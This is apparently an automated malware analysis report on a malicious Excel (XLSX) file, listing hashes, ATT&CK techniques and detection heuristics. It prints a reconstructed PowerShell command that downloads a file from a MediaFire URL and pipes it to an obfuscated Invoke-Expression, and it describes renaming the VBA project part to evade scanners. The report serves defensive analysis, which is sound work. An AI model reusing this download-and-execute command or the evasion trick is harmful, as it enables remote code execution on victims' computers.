Office (OOXML) / .XLSX malware analysis — malicious · d4364341b4da4a8e

MALICIOUS

Office (OOXML) / .XLSX

13.2 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2022-11-09

MD5: 34a0b8839e1166b991a65d8c544362eb SHA-1: 9af5b21b4bc5c17f891ada831203a900dc0d12d3 SHA-256: d4364341b4da4a8e811e4fb96817c81d80473bf580cbee83355dcaef2718b907

62 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The OOXML file contains a VBA macro that is obfuscated using multiple replace functions. The macro attempts to download and execute a file from the URL 'https://www.mediafire.com/file/b987f1i3css0lhl/4.txt/file'. The reconstructed command is 'iwr -uri https://www.mediafire.com/file/b987f1i3css0lhl/4.txt/file -UseB -UseDefaultCredentials | &('MMM'.replace('MMM','I')+'dildo'.replace('dildo','EX'))', indicating a downloader functionality.

Heuristics 3

VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED

The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
VBA project inside OOXML medium OOXML_VBA

Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: xl/jdfhdjf.+_--___-_-)
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://www.mediafire.com/file/b987f1i3css0lhl/4.txt/file

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `b704d320b2b52436a5240c07cfb32dd6b7c6b19737e1390a64504e38708df986`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	10382 bytes
`vbaProject_00.bin` `8354f7c40b6b08a6804efb86a3bfc89d43567239b6d10ca63e204daf8fd4c044`	vba-project	OOXML VBA project: xl/jdfhdjf.+_--___-_-	20480 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.